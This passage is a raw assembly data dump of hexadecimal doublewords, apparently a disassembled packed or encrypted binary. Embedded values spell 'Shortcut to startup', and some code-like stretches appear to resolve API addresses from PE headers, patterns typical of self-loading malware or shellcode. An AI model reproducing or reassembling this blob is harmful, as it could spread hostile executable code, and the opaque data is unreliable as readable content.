		dd 0BF28ACE4h, 0EA6F8B00h, 0BBF590Dh, 0EF26CDBFh, 81146E4Ch
		dd 20208290h, 0F87471Eh, 31D9C54Dh, 10A357Ch, 9D9D799Ch
		dd 161FC099h, 0E9C48BF7h, 71h, 51665FE3h, 726F6853h, 74756374h
		dd 206F7420h, 72617473h, 707574h, 16h dup(0)
		dd 0E8FE900h, 0A4680000h, 0E9063164h, 0FFFBE399h, 31657468h
		dd 0E38FE906h, 0E568FFFBh, 0E9063166h, 0FFFBE385h, 31672468h
		dd 0E37BE906h, 0DA68FFFBh, 0E9063167h, 0FFFBE371h, 31687D68h
		dd 0E367E906h, 2768FFFBh, 0E906316Ch, 0FFFBE35Dh, 316F2068h
		dd 0E353E906h, 0FC68FFFBh, 0E906316Fh, 0FFFBE349h, 8F0D7F6Ch
		dd 0E8CFEE9h, 8F0D7768h, 118FF7E9h, 8F0D716Bh, 8FBD92AFh
		dd 0F3BE15Fh, 83BB61DFh, 0C3FE563h, 9FCA68E6h, 932A0683h
		dd 649A6777h, 708BDCF9h, 0CD17B8BBh, 7AD2302Bh,	14473996h
		dd 44EF96EEh, 0C3D4AB28h, 0C6680C7Dh, 2F136B95h, 87EDE0D2h
		dd 207E4409h, 8B6FC72Dh, 8084A0F7h, 747B7F7h, 7AF30B63h
		dd 827797B7h, 4F423367h, 586B7551h, 4E11663Bh, 37942A53h
		dd 3F67h, 0DCF9C100h, 21B34093h, 0C6D73424h, 6359B0F8h
		dd 0C9AD0569h, 11A9C56Ch, 0E947B8A2h, 3D9AF8F3h, 0C269C165h
		dd 617EFB17h, 3BDF7798h, 624DC6DEh, 3A557798h, 0AB7C1560h
		dd 0DC026B74h, 5C000000h, 0FD55BFAEh, 55ADD10Bh, 0B20A6863h
		dd 0C744600Bh, 287DC48Ch, 6352784h, 0E8925EDCh,	0DC7DC4B5h
		dd 358DF7E6h, 3943191Ch, 19AD7588h, 7193CABCh, 0F41E4DF3h
		dd 59D6F29Dh, 0BA7DC406h, 6A11B916h, 0C41C7A74h, 0AF7E17E0h
		dd 839F62CEh, 0FF491526h, 3652FDA8h, 7DC40CB9h,	1CAD761Ah
		dd 88EFECA4h, 17071F7Ch, 5E47B840h, 36E13CBAh, 98119D1Ah
		dd 0B85AFE77h, 0F0015E80h, 6783DA12h, 4189E062h, 0C32D1E14h
		dd 522A876Bh, 0B6AC57AEh, 0BFD5A88h, 892FADD1h,	82692B53h
		dd 2D55C43Ch, 0C2AD815h, 0DD0A0000h, 58872DABh,	0D506AC2Ah
		dd 51872DABh, 0D309AF2Dh, 304D2DABh, 7FFD615Bh,	0FF7DEDD9h
		dd 83016159h, 684EEDDh,	0A4213D68h, 5779328h, 0BEAE0238h
		dd 312CD250h, 8FAB55D3h, 0E7C6BB3h, 0F606237Ah,	597732CFh
		dd 3E9FB780h, 36FC177Dh, 7E1632D9h, 2547B8A7h, 98112981h
		dd 0A0779867h, 31601585h, 4D6B74A5h, 9Fh, 55BFAEA7h, 0ADD10BFDh
		dd 0B5933D55h, 13C7DC4h, 8CBF65E3h, 21FD0E66h, 2880E2D9h
		dd 3D59B044h, 47B8AF4Dh, 7393CFC5h, 1C9A3E16h, 7718A4C1h
		dd 3398DED8h, 0ECF9C5D6h, 987453D0h, 7C10B477h,	0B3CF7A25h
		dd 77987436h, 7E96F397h, 418A4368h, 1A10670Bh, 983EBC22h
		dd 4F783AA4h, 255C5D6h,	0B5AADEAh, 0D3A0000h, 88B75DDBh
		dd 536DC5Ah, 81B75DDBh,	339DF5Dh, 607D5DDBh, 0AF2D518Bh
		dd 2FADDD09h, 0B3315189h, 36B4DE0Dh, 0D4516D98h, 35779327h
		dd 0BEAE3268h, 312CD250h, 0AEAB55D3h, 0BFD55BFh, 49ABA4D0h
		dd 0A3C3FFF1h, 3FD3674Bh, 0E626FCC1h, 3CAE998Fh, 3C1C38DFh
		dd 6347B8D2h, 0CDE2658Ah, 25B935A4h, 0F23CB5CDh, 29447797h
		dd 1B8D0471h, 7F16B75h,	4B000000h, 80163h, 0B38F6D00h
		dd 22062279h, 9A47B8BAh, 7C56D3EFh, 13B77798h, 0E23ADEB6h
		dd 4097FDF0h, 7BFC7995h, 0B95D7798h, 0F5E88E5Ch, 9A90378Fh
		dd 0CCE441A3h, 0DE549885h, 0DEBFDB46h, 832E85EFh, 5458EA67h
		dd 0DEA74B10h, 9A0B522Fh, 0B482DF0Ah, 5DB5DF0Eh, 539FC545h
		dd 822DC410h, 539FE966h, 49A64A10h, 2A217C1Eh, 0A9A44AC8h
		dd 9FEF6C88h, 8361053h,	1AAE52DAh, 0A02EAAC2h, 0D8871053h
		dd 313026C2h, 498476D3h, 0D407AD2Bh, 794556AEh,	9FD3506Ch
		dd 231A1053h, 0FD8569C1h, 5A88B759h, 338A1E02h,	47BA1F17h
		dd 9BD486DAh, 0A93D2179h, 0A02F7C2Bh, 17338AC2h, 0D41BA74Bh
		dd 7F0BAE52h, 0A60B44F1h, 51BDAFA5h, 0CD1FE3F4h, 0D4FA5A76h
		dd 4821EFDEh, 0B7A97D89h, 0C21AAE98h, 449BEDB1h, 0AED8C328h
		dd 96004E9h, 3CBAD813h,	7B3DA796h, 3DAAF55Ch, 0E9B6F30Bh
		dd 0C9000009h, 46EC6A9Ch, 0C56BE91Bh, 46EC6A94h, 0C86EEC12h
		dd 0CEC6A94h, 0BC221AEFh, 3CAA983Eh, 0C02618BEh, 43A19C42h
		dd 0E0FC27C5h, 77932763h, 0AEC1F7C4h, 4E9355BFh, 69599F11h
		dd 9AA1451h, 5D8A0000h,	0D807AD2Bh, 55862CAAh, 0D107AD2Bh
		dd 53892FADh, 0B0CDAD2Bh, 0FF7DE1DBh, 7FFD6D59h, 381E1D9h
		dd 86046E5Dh, 24A1BDE8h, 85779326h, 0BFAE82B8h,	0CEE1FE55h
		dd 22A6228Eh, 0B8AA52AFh, 81DC5A84h, 0D72F5F8Bh, 4E9B96F3h
		dd 52A9E3BFh, 0B7E66A36h, 2ACD7147h, 0DAFCFA9Eh, 0AFBA8833h
		dd 0DA4D1693h, 31D377B5h, 997DD535h, 3292AE05h,	8A7FCE9Bh
		dd 0DD3A5C94h, 0F8096105h, 6F8BE22Ah, 799EC60Ah, 5A50A74Bh
		dd 8DAA0163h, 0E9106F20h, 229FBB96h, 83A97F15h,	0B1A94BDFh
		dd 8026F451h, 0BB23194Dh, 0E2DD7F63h, 0B0442880h, 0DA69D7EEh
		dd 65A2BA8Dh, 8F4h, 0F77597D4h,	76F41651h, 0F7759FD0h
		dd 79F71F51h, 0F77599D3h, 3725FA17h, 0A7A349C7h, 2B23C947h
		dd 0B4A74DCBh, 732D04Eh, 93256EEBh, 0CC02CF77h,	9788DCF9h
		dd 691474A8h, 0C1231A0Ch, 7C1D4D6Ah, 0BAD2AF1Bh, 8BC3B55Dh
		dd 421ED6Bh, 6C7DC3B6h,	0E3FF5696h, 47B312F0h, 645AB155h
		dd 7AE0B69h, 0DB83DA11h, 274D8059h, 9822EBCFh, 0A2F98D37h
		dd 5643DA85h, 73D05EBFh, 71CCFFA5h, 725029E0h, 8CE37718h
		dd 0DB38A696h, 0AE0B4133h, 62EE1B02h, 176F0315h, 0BCD3525h
		dd 5FAD16F2h, 5188C5DDh, 31000008h, 0AE54D234h,	2DD351B3h
		dd 0AE54D23Ch, 30D654BAh, 7454D23Ch, 244A8257h,	0A4C200A6h
		dd 284E8026h, 0ABC904AAh, 48648F2Dh, 779324CBh,	0F9295F2Ch
		dd 4EABCB03h, 0AB03615Ch, 86082B9h, 0B0EDADC8h,	0BD957BDh
		dd 65488086h, 525F8h, 0B38F5200h, 302C2279h, 359276CEh
		dd 0E87F728Eh, 40E447B3h, 9AF8F3E9h, 4288571Ch,	0BCA8D2EAh
		dd 0F712EC46h, 49BFD2A3h, 3CBFE4E6h, 19000000h,	716CB08Fh
		dd 14767113h, 900D2980h, 0F17DC48Ch, 0A0DDF54Dh, 285D7DE8h
		dd 0A9E88D0Dh, 0D585AFDEh, 17h,	68DCF92Fh, 1F30484Fh, 6A905C25h
		dd 0E37DCEC0h, 1DD4986h, 8F530000h, 13716CB0h, 0EB43D7BBh
		dd 781EA9D3h, 0F61452F2h, 4EB0AC9Eh, 396110F6h,	24769172h
		dd 0B4EC4051h, 757167DEh, 7CD9BD15h, 21ACh, 58385500h
		dd 0FB1438CFh, 8FD6CC29h, 0A227AB0h, 0F2781DC1h, 294C4E69h
		dd 0DEB4E968h, 8016h, 0B08F7000h, 3E2D237Ah, 0D86C92C6h
		dd 3BB8D47Bh, 9C7DC48Dh, 0D9F6A1F8h, 7D54A87Ch,	45C28A8Fh
		dd 0A67DC41Ch, 75DCA502h, 3CCE1C58h, 449B4E8Eh,	0C41CAB28h
		dd 0B680C7Dh, 0A24B0EF2h, 0E81A453Bh, 3B3A608Bh, 6548A956h
		dd 3428h, 4EF98200h, 0C48CB532h, 1572167Dh, 98EF3D04h
		dd 0C48D197Ch, 8BA5E7Dh, 156C4A99h, 6AC2201Fh, 9CFE2986h
		dd 487BB8D9h, 7C665h, 63200000h, 10Fh, 4DCF96Dh, 0BA6E2C7Bh
		dd 0C5E11E7Bh, 0EB000000h, 227AB08Fh, 94C8F40Ah, 77233E96h
		dd 98C093FEh, 87F714BAh, 74C465F1h, 0AF43A39Bh,	7E8252h
		dd 8FDC0000h, 7237AB0h,	7DC48C8Ah, 0D7EF47EBh, 5DA4DF7Eh
		dd 0D22A5485h, 2D85EFE0h, 3BADEDC8h, 0A45FA21Fh, 0CB5F035Dh
		dd 0AACBCFEAh, 8568ACE7h, 4597h, 134A4000h, 8F9E94F1h
		dd 7237AB0h, 7DC48C8Ah,	0D7EF47EBh, 0EEA4DF7Eh,	0E04AF46h
		dd 6FECB4DAh, 0D010A45Fh, 0F6A4CF2Ch, 0A1C3FCF2h, 0FD615749h
		dd 9FF20C69h, 8D268A9h,	0C3066DEBh, 4AA78B82h, 77Ah, 6063D400h
		dd 6D000000h, 1747BFAEh, 0F589E9E1h, 71F10961h,	547DC48Ch
		dd 716C3169h, 0F511BC13h, 7DC48C78h, 0CD3127D9h, 640EDC39h
		dd 736CB08Fh, 15A9CD03h, 38342A81h
		dd 3D9A7ED6h, 0E4BACC3Bh, 3A579109h, 9486A3AAh,	6383BB0Bh
		dd 3693270Bh, 0C3CAE31Eh, 0A0F2BC7Dh, 0E065497Eh, 0FFFFFF08h
		dd 2E0633Ah, 0F96D0000h, 53ABCB03h, 2D20126Fh, 0C95D8DB9h
		dd 264C7F71h, 0CD1FE3A8h, 0AF565A76h, 39DD47B8h, 0E91D3AE1h
		dd 67B647D0h, 0CD465EBBh, 0D57797B3h, 1208E0BAh, 435DBAD8h
		dd 6B75554Eh, 5D30h, 0DCF98A00h, 0DC0DA225h, 83C16C77h
		dd 0D5C0831h, 318EB079h, 0B1E8BC6Eh, 2D7F4354h,	0A352BD6h
		dd 3F9C80D8h, 0B8988F27h, 374A6747h, 0FBAFBFAh,	0B86A429Fh
		dd 1E025A84h, 0A11A328Ah, 0A97797DBh, 31DC0C8Eh, 97DB9815h
		dd 0F24CB877h, 379E322Ch, 94AE0BAFh, 6B7501FDh,	0B581h
		dd 4EF9DB00h, 0C48CB532h, 1572167Dh, 84BC2823h,	92260A62h
		dd 2C4D1E3Bh, 370F16FDh, 6E8B32DAh, 314D2B1Fh, 7DC3C0B4h
		dd 0F0A87115h, 9688E54Dh, 36E138A6h, 0C45E9D1Ah, 0FD5AFE7Dh
		dd 89B8AE55h, 0C21F035Bh, 1F779DD0h, 56D43E2Dh,	0C487E08Ah
		dd 3052897Dh, 9569BCD9h, 6BA27A49h, 0A77B400Eh,	5AF20E65h
		dd 147B607h, 0DC10065Dh, 5E8E34B2h, 124B6E30h, 566E5FB0h
		dd 4A719h, 285A8700h, 0A7C504AAh, 284A8329h, 0AACC04AAh
		dd 2856862Ch, 0D8ADCAAAh, 56FC7AE4h, 0D67CFA68h, 5A007EE4h
		dd 0E5830163h, 21219EBAh, 0B5827793h, 50BEAE7Fh, 0D3312CD2h
		dd 3F9AB55h, 5749A6C4h,	4E9EC964h, 0A244D592h, 89C4B60Eh
		dd 5A28ED6Bh, 6510BB12h, 11219EBAh, 0DE827DC4h,	0C4109916h
		dd 0F956FA7Dh, 0B82AE9E1h, 508B8147h, 59FDD532h, 79D00C02h
		dd 0B008B258h, 0B911A526h, 0B8D078D5h, 7797C339h, 697F1B36h
		dd 0C325A2BEh, 0E2867797h, 5EAE7485h, 0DCF3EB07h, 0B65A418Bh
		dd 5DAF7338h, 0C23F5B06h, 23716BACh, 7FEFDD7Fh,	3FE64327h
		dd 5B083023h, 0BBC953Bh, 2945FB1Fh, 4AF54CE0h, 2606312Dh
		dd 9175CD37h, 0D93984C8h, 21518A7Ch, 1D9C9025h,	33D669Ch
		dd 25DDB6Fh, 59D59FE5h,	5DBA64ABh, 3A10DE45h, 0B1D1096Bh
		dd 9D4233h, 7E9B0000h, 1DDB5A7Fh, 0FF615A11h, 0D22FC3A7h
		dd 0C403F9DCh, 0D6A4EA6h, 0C48C7CF5h, 0A9F10E7Dh, 0D8238761h
		dd 36589436h, 0A3FBC8D9h, 0EF24AA8h, 6556FC7Ah,	378FFFEDh
		dd 339D071Eh, 29BD7FA8h, 0A8253D95h, 177DC40Ch,	322B7228h
		dd 1F752D0h, 5648A5C5h,	8AA7FE64h, 348716ABh, 24CC2955h
		dd 0C3C68C0Ch, 81E1D97Dh, 0E75A1029h, 7E1559DAh, 2C84E2DCh
		dd 0FDAEECC7h, 0EDFB9F7Eh, 0CD6AC7F7h, 4EFE25AAh, 1F035BEFh
		dd 0C6234B7Dh, 257C9AD4h, 6D7DCD08h, 0BEADDBAAh, 8418FC54h
		dd 0AEAF5927h, 54FF56BCh, 0C48CBB38h, 1B781C7Dh, 29498173h
		dd 247691D1h, 0A3214179h, 32D02B48h, 0A06995C7h, 2E8BA3E6h
		dd 0C472A116h, 662CF67Dh, 1A6548D4h, 0FFFFFF3Dh, 739BCDC3h
		dd 0BFAE2016h, 0AB56FD55h, 0C48D128Fh, 0FE60597Dh, 8375D276h
		dd 0E7AC2A48h, 5E7AD11Bh, 47B8AF5Ah, 0CDE53DE1h, 77987054h
		dd 1C59415Ch, 6B749975h, 4009h,	0B38F6300h, 81772279h
		dd 0E15E2648h, 427DC48Ch, 7E9A419Eh, 47B8A8E6h,	5E9AC8BEh
		dd 0C5A90163h, 58FCD431h, 686FE800h, 5C777798h,	0A45A373Eh
		dd 304D6B74h, 8DE42714h, 6D3D9A3Dh, 108h, 55BFAEC7h, 0DFFBE1FEh
		dd 4B586D35h, 0D327A709h, 0D532C680h, 6E69862Dh, 0E86BC289h
		dd 81E3DA7Ch, 113A3224h, 0C3B778F5h, 0DE35D97Dh, 0C3B845C2h
		dd 6E02A67Dh, 0A8C46F16h, 7DC3B82Bh, 998BE88Ch,	3F80BA2h
		dd 0E42DDF38h, 0D706F850h, 0B9632FADh, 627DC4A7h, 0E58B096Bh
		dd 3F358CF6h, 5C02AE03h, 5B25CAEEh, 0B1C26AC7h,	4E449BEDh
		dd 8428F113h, 130E640Ch, 0FB17BE1Bh, 47B809BFh,	85E5E1D7h
		dd 14EC492Dh, 512DF270h, 0F6A4C017h, 0B9418969h, 94C8BE15h
		dd 0EA0E8BA7h, 84A07168h, 7168EA07h, 983CC468h,	0F190AD04h
		dd 74DA4189h, 3AE0AE0Bh, 0ED1ADC02h, 1C55C49Ah,	1AEC704h
		dd 518E0000h, 0DC0BB12Fh, 518A30AEh, 0D50BB12Fh, 5F8D33B1h
		dd 0B4D1B12Fh, 381EDDFh, 8301615Dh, 785EDDDh, 8A086A61h
		dd 28A5C1ECh, 8977931Eh, 0DCF986BCh, 68B83398h,	0A267D3Ch
		dd 7DC46F8Dh, 0FBED4AEEh, 791F9DC1h, 0F8A22042h, 2279B38Fh
		dd 274F8177h, 0A91AB2CAh, 1DC147B8h, 6934ADC5h,	0A53C7798h
		dd 0F451BDAFh, 0EDA4D1C9h, 916B74A3h, 0BBh, 0E608443Ah
		dd 0D608AA8Eh, 0AE5D53B0h, 0BFD55BFh, 3D55ADD1h, 7DC4B593h
		dd 8CE3013Ch, 5E7AA796h, 7DC487E1h, 0AD0A9E42h,	0E00239DFh
		dd 61AB7788h, 0C0B2EE0Ah, 0F59947B8h, 9CECB277h, 221C2945h
		dd 0D8CE418Ah, 4B2380E6h, 625A50A7h, 0A3A01D39h, 5D017169h
		dd 0FAF04BC9h, 4E409DCFh, 0FF2EF01Eh, 1255C5F8h, 0D2BDFAh
		dd 0B5B20000h, 302FD553h, 0BDAE54D2h, 392FD553h, 0BBB157D5h
		dd 0D8F5D553h, 27A5C903h, 0A7254581h, 2BA9C901h, 0AE2C5685h
		dd 4CC9E510h, 0AD77931Eh, 0BEAEAAE0h, 1EDCF950h, 0EB32369Dh
		dd 55B5D50Eh, 0CA06E4Dh, 0B411736Ah, 0D90D40E6h, 40247CEEh
		dd 0AE842EACh, 0BFD55BFh, 56D3EFD0h, 0B77DC48Dh, 3C017F13h
		dd 0B3CF2666h, 47B3E8A4h, 3B2D8529h, 86031F00h,	0E777932Ah
		dd 8B31AF43h, 0C2DA3250h, 8E3C7A7Ch, 0D3CAD03Bh, 11736C98h
		dd 0EA41D5B9h, 0FCA6233Fh, 0A007203Bh, 3BFD0784h, 30C46820h
		dd 6C5F05D3h, 84BCAE06h, 51B1A99Fh, 0D04D15F9h,	31203BFCh
		dd 0D7A1F98Dh, 0F0EBB2E8h, 7F6E1492h, 0D80BD15h, 0D9000000h
		dd 0FC95122Eh, 52F6203Bh, 4AB0FFF5h, 0F74FB1AEh, 54ACD605h
		dd 0B20A6862h, 0C6482C0h, 64BC221Ah, 0BC147A72h, 187096CAh
		dd 73CB3526h, 0CC244681h, 0E7895791h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 83243C89h, 48904ECh, 78AA6824h, 34890000h
		dd 6EBD5524h, 4D168B24h, 3ED5C581h, 0E889EFA6h,	83242C8Bh
		dd 8B5404C4h, 0C4832434h, 0BF575004h, 0D05C97h,	4247C29h
		dd 8468F5Fh, 97084681h,	8B00D05Ch, 89522434h, 4C281E2h
		dd 83000000h, 148704C2h, 34FF5C24h, 0C4815824h,	4, 0FBD520E9h
		dd 29F122FFh, 2D186079h, 0E1925DBh, 70F3B854h, 0C5030631h
		dd 0C6B0E0FFh, 0A6EF7578h, 9036165Eh, 69724951h, 0B3FC743Fh
		dd 923F46D2h, 0F066473Ah, 3B907FEFh, 18F169EDh,	432F6044h
		dd 7D1B7555h, 0CB613FCBh, 64D849B1h, 0FF3E19BFh, 0C9FA1CCDh
		dd 77900F62h, 4CA53E1Ah, 1A121E0Ah, 0B0E96DF4h,	60000000h
		dd 0F6DA8C66h, 850F04C2h, 0Ch, 1671853Bh, 840F062Ch, 36h
		dd 25C9853Bh, 840F062Ch, 2Ah, 0B41853Bh, 840F062Ch, 1Eh
		dd 291D853Bh, 840F062Ch, 12h, 2105BD83h, 0F01062Ch, 584h
		dd 5FE900h, 0D08B0000h,	8B3C5203h, 88BAh, 784A8B00h, 840FC985h
		dd 49h,	0F8C281h, 728B0000h, 8BC8030Ch,	518B1C59h, 8BD80314h
		dd 0FC9850Bh, 1084h, 0FCE3B00h,	1782h, 0FCF3B00h, 0F83h
		dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4F519D8Dh, 5B8062Ch
		dd 0FF000000h, 0BC361E3h, 119D8DD0h, 0B8062C08h, 39h, 14D8589h
		dd 0E8062Ch, 58000000h,	0D05h, 0E9038900h, 39h,	0Eh dup(77E60000h)
		dd 748D8DFFh, 6A063173h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0CB2CC351h,	8BF951C0h
		dd 0A58D89D7h, 0C7062C2Bh, 2C12D985h, 5E0406h, 0BE900h
		dd 0F6070000h, 0D5E2190h, 25F34F05h, 0C185C7E1h, 62C29h
		dd 2B000000h, 2C0E3585h, 35B5FF06h, 6A062C2Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0F7EBC353h, 9772F3C6h, 0E18D896Ah, 0FF062C18h, 2C15F595h
		dd 199D8906h, 6A062C0Bh, 0B195FF00h, 8B062C26h,	96BEBC0h
		dd 8FF1F0F0h, 0FCB48D44h, 0C33A4199h, 6C7C1233h, 3C22D199h
		dd 0A8A21CB5h, 0B6730097h, 17783EDh, 66353047h,	0A29BFCEEh
		dd 257DA5BDh, 0D8094D0Bh, 3CDF60D6h, 0D318D640h, 0FD8D2F53h
		dd 6701972Fh, 7866BC5h,	0A50F6F16h, 0D75EEBB7h,	40F21D0Fh
		dd 5B72EFECh, 0A42196A3h, 81AAA0CAh, 3ABEAB4Eh,	0F58FA84Ah
		dd 0E02B0655h, 8E83DEDh, 0DC000000h, 0A5D28C1Ah, 0B2AC4DCh
		dd 2C05F98Dh, 0BD895B06h, 62C21F9h, 5A63C381h, 81660000h
		dd 0B80A3DCFh, 1664h, 8A33FFF5h, 9D015AECh, 62C11C5h, 0E1D0C281h
		dd 0E8605D20h, 0Eh, 7C97C427h, 8E1C41A3h, 29322277h, 8D89B5E4h
		dd 62C2021h, 1DBD895Eh,	61062C05h, 0E34AF281h, 8E97F64h
		dd 9C000000h, 9B1260F3h, 81F8FF68h, 80A176F2h, 899AB516h
		dd 0F7B70F13h, 5303EB83h, 73CE8166h, 0E84B5FE6h, 0Bh, 0BB4F5D4Bh
		dd 79B14D43h, 89E50E98h, 2C196985h, 0F485F06h, 1985h, 6DB58B00h
		dd 0E9062C0Ch, 2Ah, 9450FB97h, 948569EDh, 7A1580C0h, 8B60D2D6h
		dd 2C22758Dh, 61CA8B06h, 0FFFF5CE9h, 0DBEE1FFFh, 39D7B8ECh
		dd 7147783Dh, 7E89FEAh,	64000000h, 3D55524Ah, 8531F0FCh
		dd 62C32B1h, 0BCC2815Ah, 8B000060h, 2C12D18Dh, 18016806h
		dd 85230000h, 62C13C9h,	28E0F5Bh, 8B000000h, 5132FFC2h
		dd 0A7F1BF66h, 5E95E59h, 0D4000000h, 0C3283044h, 818EE81h
		dd 8B662BC2h, 20F681C1h, 0B46510A1h, 0A6F6813Bh, 0E865463Fh
		dd 0Fh,	0BA4F56DEh, 7D5B543Fh, 0ED3A33CBh, 0E8F87FBFh
		dd 0Bh,	0F987A1A9h, 0AD7AB257h,	8B8B2167h, 2C1C958Dh, 565F5906h
		dd 22BD8D33h, 28F062Ch,	9C18D8Bh, 0EA81062Ch, 437DA003h
		dd 2359BD89h, 0C281062Ch, 437D9FFFh, 2810Fh, 0FFB50000h
		dd 1EB81h, 850F0000h, 0FFFFFF75h, 0EBF88B66h, 60h, 17h dup(0)
		dd 0B94E900h, 88E90000h, 6800000Bh, 6317DE8h, 0FB06B5E9h
		dd 7F2468FFh, 0ABE90631h, 68FFFB06h, 6317F8Eh, 0FB06A1E9h
		dd 2D4D94FFh, 0C7512BDCh, 62EAC576h, 0FB876011h, 971DF9AAh
		dd 227B846h, 9E4FA026h,	3CED3EC0h, 0D98ADB5Fh, 75227391h
		dd 0CC52A8E7h, 9E7437F3h, 3FC19FA0h, 16B38CC1h,	0FD55B539h
		dd 2E05145h, 0E57EEA2h,	56C7C02Bh, 4394F47Ah, 0ED755085h
		dd 7CFD5545h, 0A4280534h, 0A3CE0CFCh, 0BD5401E6h, 8F903898h
		dd 85862EB2h, 0A23714A7h, 0A4943C5Ah, 4CAC9C44h, 41C7A3A4h
		dd 0CC4281C3h, 0E31C2B0h, 8D8E469Eh, 75832BB1h,	86DE6440h
		dd 0F8A02C05h, 0EC941CF7h, 46CEA9DEh, 9936DEEh,	0D31DB261h
		dd 9CD11355h, 0A2923AC0h, 0C2B0D327h, 2B83F331h, 0F425B5A0h
		dd 0FB79E937h, 7351ECC6h, 0E14091F1h, 407FFD73h, 37F3C5D6h
		dd 23AD8708h, 832B8B7Bh, 0DB674075h, 6AEB4333h,	51860422h
		dd 3293EB09h, 1B579F48h, 0C2BA66DCh, 0D838A831h, 0F12E682Eh
		dd 5E93115Fh, 299DDC84h, 6931C2BAh, 874199F9h, 0CFA5D5BFh
		dd 66615645h, 2Dh, 115FF128h, 0FF539267h, 0FD31C2BAh, 6EE8D0FBh
		dd 0C03E86C4h, 0C2F40D81h, 85DD4D31h, 92FFA919h, 3BC59F24h
		dd 41B7F591h, 2Bh, 0F35FF153h, 0C2BA5EB4h, 7916B31h, 31DB3BABh
		dd 0BAFF5392h, 674731C2h, 9F2492BDh, 0F5913BC5h, 0EC62A1E3h
		dd 2E31C2BAh, 0F1AC66BEh, 9294125Ch, 8FA86264h,	0C553AB9Ch
		dd 0EE9F0986h, 51F96937h, 0EE9FF446h, 9D270137h, 9416F4F5h
		dd 0CEC9E2ECh, 87829B22h, 2A2CEAD0h, 1D7A158h, 5A8F0000h
		dd 3776F412h, 37EE8BC3h, 813B9303h, 8F0D63F1h, 2E2A4B4Dh
		dd 0A39DF130h, 4DBD31C2h, 8A336E0Fh, 8E4BA732h,	0FB6B31C2h
		dd 0E46E487Dh, 8ED32766h, 83F331C2h, 2A72732Bh,	0E18C8E0Ch
		dd 6A5C37FAh, 0A58FF048h, 0A65B579Fh, 0B702B45Bh, 484AC828h
		dd 0A813CA05h, 87C64420h, 31C29133h, 0D18BE353h, 5FF12E68h
		dd 0BA5EB4F3h, 108031C2h, 1FFD32B0h, 0AD05F59Dh, 845D92F3h
		dd 553FA0F8h, 5645CFA5h, 266661h, 0F1280000h, 9267115Fh
		dd 7BCF0E50h, 9B31C2BAh, 0F248D32Bh, 1431C2BAh,	2492FAA4h
		dd 913BC59Fh, 4241B7F5h, 53000000h, 67115FF1h, 0FD7F5D92h
		dd 0C1DE63BFh, 459DFE5Dh, 740278B7h, 8C6C31C2h,	398DCC0Eh
		dd 5931C274h, 92D791E9h, 3BC59F24h, 0E1E3F591h,	7D8DB7EFh
		dd 0FE1C6407h, 88066656h, 0C28BF549h, 4DA51531h, 155D9293h
		dd 0DD8509E6h, 6358DEDh, 9C37114Eh, 78D838C2h, 3776B8FAh
		dd 31C2BAC3h, 0BA2CA2E1h, 0FE6E31C2h, 4FDA32A2h, 31C2BAEFh
		dd 0CC42810Fh, 0E31C2BAh, 95963E9Eh, 0F4DE2F4Dh, 8F39579Fh
		dd 90922E68h, 0F9388C98h, 31C20685h, 0E41755C5h, 5988E043h
		dd 0BFCF79C7h, 45CFA5D5h, 52666156h, 28000000h,	67115FF1h
		dd 0BD115092h, 0DD31C2BAh, 4887156Dh, 31C2BAF2h, 0E426A414h
		dd 0C2BA51A5h, 0A9017131h, 9F2492EFh, 68DE1DC5h, 0AA31C2BAh
		dd 5A5CDA3Ah, 0D3CE5CAEh, 1DD72F2Eh, 5D92B7F5h,	7CE91E80h
		dd 0E8312403h, 3DFE088h, 0E6C51D7Dh, 2Ah, 155D92F8h, 0D8709FF7h
		dd 0BADF3372h, 8FFF31C2h, 5392852Fh, 31C2BAFFh,	92BD6747h
		dd 835D9224h, 96151F9h,	7A24AE88h, 0C041B7F5h, 7F000000h
		dd 8DE5714Ah, 0D63F1D3h, 0BAE2508Fh, 0A41431C2h, 95B3FBFCh
		dd 579F5A44h, 5D928F39h, 6555FD7Fh, 0F11B550Dh,	0BF67115Fh
		dd 45CFA5D5h, 4D666156h, 54000000h, 0BA7FD312h,	2F9F32C2h
		dd 90921DD7h, 0FA45C0C7h, 7BAA02ACh, 0C83E7DE5h, 0A31C2CFh
		dd 92903A9Ah, 4FF7155Dh, 3A79075Fh, 31C2BAC4h, 92EC9606h
		dd 7BCF0E50h, 9B31C2BAh, 9219D32Bh, 9FF7155Dh, 10BA441Eh
		dd 4041B7F5h, 53000000h, 25005FF1h, 0A505F59Dh,	0FF5392FBh
		dd 4731C2BAh, 5092BD67h, 0BA7BCF0Eh, 2B9B31C2h,	0BA186EADh
		dd 0CA3A31C2h, 5D92B872h, 6353FB81h, 48B08A0Bh,	23C23562h
		dd 5D0767E4h, 66AEE3F5h, 9F36F048h, 90913957h, 2DDE2FB3h
		dd 141FC7E5h, 31C2BABCh, 0F13072C4h, 31C2BA9Dh,	0A0F54DBDh
		dd 0CBA6DBF9h, 70F6D243h, 314F9718h, 0B8E72FE0h, 0E36744DDh
		dd 8BEBDB83h, 0CF157EE3h, 5C3791F1h, 0F9BF01D5h, 17F0F199h
		dd 0B6401A8Bh, 2CEB040Eh, 35D4AD44h, 0C9A5D41Ch, 0D492E343h
		dd 8A60C29Fh, 0B917AA27h, 3C6BC323h, 5B5F7FA7h,	1559DDBDh
		dd 0BBF837B5h, 0DB37EE09h, 46B8C36Bh, 5D37EE09h, 0AC924544h
		dd 6358299Eh, 29h, 39579F25h, 3AD86BBh,	0C2BA4EC4h, 0C0209031h
		dd 6BAA2818h, 31C2BA17h, 0B76FC737h, 0C2BA56ACh, 46415A31h
		dd 0D2234189h, 39579FE8h, 0F24DE291h, 0B02E8E18h, 0F4303671h
		dd 0A5F66637h, 8795E5E7h, 0D76BB9CFh, 327066F4h, 5ECFCFABh
		dd 6656FE80h, 4ADF0Eh, 0EC704D82h, 6EFC5444h, 0DF03E22Fh
		dd 0E1BBF031h, 81BFAF57h, 0D2AF778Dh, 2A96EE6Ch, 0B70712BAh
		dd 0AC3D9F87h, 0FBE1F493h, 0B251F914h, 34h, 0AB1F5EA0h
		dd 0EB3D9FF3h, 0F169237Bh, 9723FC63h, 219FFFEFh, 0DF8713ECh
		dd 0CA0997EFh, 31C2BA64h, 63981686h, 6757FF89h,	714C810Fh
		dd 128998E9h, 9B000000h, 8F0D63F1h, 0C2BAEE50h,	22A01031h
